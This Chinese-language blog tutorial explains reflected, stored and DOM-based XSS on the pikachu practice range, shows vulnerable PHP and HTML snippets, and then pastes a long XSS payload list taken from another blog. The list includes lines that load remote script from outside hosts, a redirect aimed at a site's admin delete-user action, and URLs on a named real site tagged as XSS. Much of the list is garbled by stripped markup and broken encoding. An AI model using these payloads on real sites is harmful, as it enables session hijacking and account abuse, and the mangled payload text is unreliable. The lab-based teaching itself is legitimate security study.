分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

以pikachu靶场为例子进行讲解,pikachu靶场的搭建请参考以下博客;
XSS全称(Cross Site Scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XSS,是最常见的Web应用程序安全漏洞之一,位于OWASP top 10 2013/2017年度分别为第s三名和第七名,XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的危险代码,当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的
XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码是javascript语言,但也会使用其它的脚本语言,例如:ActionScript、VBscript。而如今的互联网客户端脚本基本是基于Javascript,所以如果想要深入研究XSS,必须要精通Javascript。
XSS漏洞图解

程序对输入和输出的控制不够严格,导致恶意的攻击的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行从而产生危害.
1、首先对于那些半年没有更新的小企业网站来说,发生XSS漏洞几乎没有什么用。一般在各类的社交平台,邮件系统,开源流行的Web应用,BBS,微博等场景中,造成的杀伤力却十分强大。
2、劫持用户cookie是最常见的跨站攻击形式,通过在网页中写入并执行脚本执行文件(多数情况下是JavaScript脚本代码),劫持用户浏览器,将用户当前使用的sessionID信息发送至攻击者控制的网站或服务器中。
3、"框架钓鱼"。利用JS脚本的基本功能之一:操作网页中的DOM树结构和内容,在网页中通过JS脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会被发送到攻击者的服务器上。
4、挂马(水坑攻击)
5、有局限性的键盘记录
还有很多很多.........
交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。

就比如下面这段代码,服务端拿到name以后,原木原样输出到客户端
- $name = $_GET['name'];
- echo "Welcome $name
"; - ?>
比如我们在服务端新建一个xss.php,把上面的代码复制粘贴进去

浏览器访问 ,需要一个参数为name,那我们传递一个name参数,值为随便

这个代码很明显没有数据库注入漏洞,但是存在xss漏洞,因为这段代码并没有对用户的参数数据进行过滤处理。
攻击方法 '"> ,其中 '"> 我们称之为完成闭合符号,后面跟script标签来进行攻击,弹出了窗口表示我们的js代码被执行了。
输入payload以后就回车发请求

我们看到这执行了,说明存在xss漏洞,攻击成功了,当然了这只是简单验证,通过js写一个功能性代码可以实现更多的事情

其实xss的代码手段非常多,因为别人可能通过过滤等手段对script标签做了限制,那么你想攻击的话,就要改变方式,所以攻击代码的写法非常多。

现在以pikachu靶场为例:

我输入了aaa,发现页面上显示who is aaa,i dont't care .

我们输入的信息能在页面上打印,可能存在xss漏洞,用payload试一下
'">
我输入了payload发现输入不全,原来是前端做了长度限制,不过这个限制很好绕过的,直接在下面框框的地方把20改为200,可以直接改的
改完以后回车,然后再把payload复制粘贴,然后点击提交

看到攻击成功了

对比一下正常输出的p标签跟payload以后的p标签有什么区别?
正常输出时的p标签

攻击成功后的p标签
payload 是 '">

原来就是通过插入script标签来注入恶意代码的
持久性也叫存储型XSS,交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性。
示例: '">

确定以后页面就剩下''>了,其余的当script标签输出在页面了,而且整个payload已经存出来数据库了,每次一打开这个页面都会从数据库读取数据,加载到页面,每次都会受到攻击
比如刷新一下页面看看

说明,这个攻击代码存储到了数据库里面,每次刷新页面的时候,都会加载这个数据,执行这个js代码,所以这种存储型漏洞很严重。
我们看一下他的后台代码,发现我们输入的payload到了后台以后会存储到数据库中,当我们每次打开这个页面的时候会从数据库读取数据渲染页面,从数据库读取的恶意代码就执行了。
- if(array_key_exists("message",$_POST) && $_POST['message']!=null){
- $message=escape($link, $_POST['message']);
- $query="insert into message(content,time) values('$message',now())";
- $result=execute($link, $query);
- if(mysqli_affected_rows($link)!=1){
- $html.="
数据库出现异常,提交失败!
"; - }
- }
通过前端的dom节点形成的XSS漏洞,如下面的代码,没有前后端交互,文本框输入的内容直接输出到页面
- DOCTYPE html>
- <html>
- <head>
- <title>输入框提交示例title>
- <script>
- function submitForm() {
- var inputText = document.getElementById("inputText").value;
- var result = document.getElementById("result");
-
- if (inputText.trim() === "") {
- result.innerText = "不能提交空内容";
- } else {
- result.innerText = inputText;
- }
- }
- script>
- head>
- <body>
- <h1>输入框提交示例h1>
- <input type="text" id="inputText">
- <button onclick="submitForm()">提交button>
- <p id="result">p>
- body>
- html>

,一般不与后台服务器产生数据交互,属于中低危漏洞了。
可能触发DOM型XSS的js操作
document.referer
window.name
location
innerHTML
document.write
闭合标签:
' οnclick="alert(1111)"
' οnclick="alert('xss')">
'>
what do you see?
示例:

当我们输入正常内容发现,输出到了a标签的href属性里,我们就想办法闭合href属性
构造payload如下 xxx" οnclick="alert(123)
执行以后发现语法上没问题,确实闭合了a标签,添加了一个onclick属性,但是整体被转义了,所以攻击失败

可以构造payload xx' οnclick="alert('123')">

点击以后确实看到效果了
现在看一看攻击以后渲染的效果 xx' οnclick="alert('123')">

下面是我找的比价全的xsspayload,来自以下博客,可以参考一下
XSS-Payload大全_xsspayload大全_gy1bubble的博客-CSDN博客
- javascript:alert(1)>
-

)//)
//)

-
- alert(1)0
-
)
- x
- foo=">">
- ">
- foo=">">
- foo=">
"> - <% foo>
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
")
")
")
")
")
![]()






</script>)
![javascript:alert(1)//"]()
-
- X
- XXX
- XXX
- / style=x:expression\28javascript:alert(1)\29>
- X
- X
- X
- X
- XXX
XXX - &ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
- &
- <
)
- \";alert('XSS');//
![]()
![]()
- XSS
)

![]()
- ÄÂÄšĹscriptÄÂĚŞalert(ÄÂĂÂXSSÄÂĂÂ)ÄÂÄšĹ/scriptÄÂĚŞ
- echo('
alert("XSS")'); ?> 
- Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
- +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
- PT SRC="http://ha.ckers.org/xss.js">
- /***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/
- |\>
- ''
- X
)
- (1)>
![]()
- style="x:">
- <--`
--!> - x
- ">

- '';!--"
=&{()} - '>//\\,<'>">">"*"
- '); alert('XSS
;)
)
)
)
">ipt>alert('XSS'); ipt>
- echo('
alert(\"XSS\")'); ?> 


))
- ">
![]()
![]()
)
- [color=red' onmouseover="alert('xss')"]mouse over[/color]
- "/>>

- window.alert("Bonjour !");
- alert(String.fromCharCode(88,83,83));'))">
- ">
- '>>
- '">>
- '">>
- =''?>
)
- " onfocus=alert(document.domain) "> <"
- XSS
- perl -e 'print \"
alert(\"XSS\") \";' > out - perl -e 'print \"
\";' > out
alert(1) - ">
- [color=red width=expression(alert(123))][color]
- Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
- ">
- '">
- '">
- '"">
- <<<
- '>
- '>">
- }
- a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
- ='>
- >
- ">/XaDoS/>
- ">/KinG-InFeT.NeT/>
- src="http://www.site.com/XSS.js">
- data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
- !--" />
- ">>
- '">>
![]()
- ">">>
- '>
![</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="360"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line">"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt="</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="361"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line">\]()
![\'</div]()
- http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS??
- http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??
- '); alert('xss'); var x='
- \\'); alert(\'xss\');var x=\'
- //-->

;)
![]()
![]()
- ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>
- '';!--"
=&{()} - %253Cscript%253Ealert('XSS')%253C%252Fscript%253E










































































- ">
">123
- ">
123
- ">
123
- ">">
123
- ">
123
- >g'">Hover the cursor to the LEFT of this Message&ParamHeight=250
- ">
">123
- ">
123